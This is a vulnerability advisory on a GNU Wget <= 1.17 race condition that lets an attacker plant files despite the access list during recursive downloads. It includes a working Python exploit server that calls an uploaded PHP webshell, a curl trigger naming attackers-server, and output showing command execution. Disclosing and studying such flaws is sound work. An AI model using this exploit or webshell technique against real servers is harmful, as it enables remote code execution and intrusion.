============================================= - Release date: Unreleased - Discovered by: Dawid Golunski - Severity: High/Moderate - http://legalhackers.com ============================================= I. VULNERABILITY ------------------------- GNU Wget <= 1.17 Race Condition / Access-list Bypass II. BACKGROUND ------------------------- "GNU Wget is a free software package for retrieving files using HTTP, HTTPS and FTP, the most widely-used Internet protocols. It is a non-interactive commandline tool, so it may easily be called from scripts, cron jobs, terminals without X-Windows support, etc. GNU Wget has many features to make retrieving large files or mirroring entire web or FTP sites easy, including: [...] " https://www.gnu.org/software/wget/ III. INTRODUCTION ------------------------- GNU Wget has several site mirroring options. One of the options allows to specify a list of accepted file extensions. It was discovered that the protection can be bypassed. If an attacker is able to supply an arbitrary URL to an application using wget with recursive/mirroring options, they might be able to place malicious files on the system. Depending on the application, this could lead to arbitrary code execution etc. IV. DESCRIPTION ------------------------- When wget is used in recursive/mirroring mode, according to the manual it can take the following access list options: "Recursive Accept/Reject Options: -A acclist --accept acclist -R rejlist --reject rejlist Specify comma-separated lists of file name suffixes or patterns to accept or reject. Note that if any of the wildcard characters, *, ?, [ or ], appear in an element of acclist or rejlist, it will be treated as a pattern, rather than a suffix." These can for example be used to only download JPG images. Research has shown however that when a single file is requested with recursive option (-r / -m) and an access list ( -A ), wget only applies the list at the end of the download process. This can be observed on the output below: # wget -r -nH -A '*.jpg' http://attackers-server/test.php Resolving attackers-server... 192.168.57.1 Connecting to attackers-server|192.168.57.1|:80... connected. HTTP request sent, awaiting response... 200 OK Length: unspecified [text/plain] Saving to: ‘test.php’ 15:05:46 (27.3 B/s) - ‘test.php’ saved [52] Removing test.php since it should be rejected. FINISHED Although the file get successfully deleted in the end, this creates a race condition situation as an attacker who has control over the URL, could slow down the download process so that he had a chance to make use of the malicious file before it gets deleted. It is very easy for an attacker to win this race as the file only gets deleted after the HTTP connection is terminated. He can therefore keep the connection open as long as necessary to make use of the uploaded file. Below is proof of concept exploit that demonstrates this technique. V. PROOF OF CONCEPT ------------------------- Here is sample PHP web application using wget to download images from a user-provided site/URL: ---[ image_importer.php ]--- ---------------------------- It is meant to only accept jpg files. Using the wget race condition vulnerability an attacker could use the following exploit to upload an arbitrary PHP file and execute arbitrary PHP code. ---[ wget-race-exploit.pl ]--- #!/usr/bin/env python # # Wget 1.17 <= Race Condition / Access-list Bypass Exploit # # Dawid Golunski # http://legalhackers.com # import SimpleHTTPServer import time import SocketServer import urllib2 class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET(self): # Send the payload on GET request print "We have a volunteer requesting " + self.path + " by GET :)\n" self.send_response(200) self.send_header('Content-type', 'text/plain') self.end_headers() self.wfile.write(PAYLOAD) print "\nPayload was sent.\n" # Wait for the file to be flushed to disk on remote host etc. print "Sleep 2s...\n" time.sleep(2) # Request uploaded webshell print "File '" + self.path + "' should be uploaded by now :)" print "Executing " + CMD + " by requesting webshell URL at: " + WEBSHELL_URL + CMD + "\nCommand result: " print urllib2.urlopen(WEBSHELL_URL+CMD).read() print "All done. Closing HTTP connection...\n" # Connection will be closed on request handler return return HTTP_LISTEN_IP = '0.0.0.0' HTTP_LISTEN_PORT = 80 PAYLOAD=''' ''' WEBSHELL_URL="https://trusty/wget/image_uploads/wget_race_poc.php?cmd=" CMD="/usr/bin/id" handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit) print "Wget 1.17 <= Race Condition / Access-list Bypass Exploit (created by Dawid Golunski)\n" print "Serving payload on HTTP port %s...\n" % HTTP_LISTEN_PORT handler.serve_forever() ------------------------------ Attacker can run the exploit on his server. When it is running, as soon as the vulnerable image_importer.php script is requested in a browser e.g: curl https://victims-server/wget/image_importer.php?siteurl=http://attackers-server/wget_race_poc.php The attacker should see an output similar to: attackers-server# ./wget-race-exploit.pl Wget 1.17 <= Race Condition / Access List Bypass Exploit (created by Dawid Golunski) Serving payload on HTTP port 80... We have a volunteer requesting /wget_race_poc.php by GET :) 192.168.57.10 - - [29/Feb/2016 18:48:47] "GET /wget_race_poc.php HTTP/1.1" 200 - Payload was sent. Sleep 2s... File '/wget_race_poc.php' should be uploaded by now :) Executing /usr/bin/id by requesting webshell URL at: https://trusty/wget/image_uploads/wget_race_poc.php?cmd=/usr/bin/id Command result: uid=33(www-data) gid=33(www-data) groups=33(www-data) All done. Closing HTTP connection... As we can see, the exploit successfuly took advantage of the time delay before the webshell got deleted by wget and executed /usr/bin/id on the victim's server.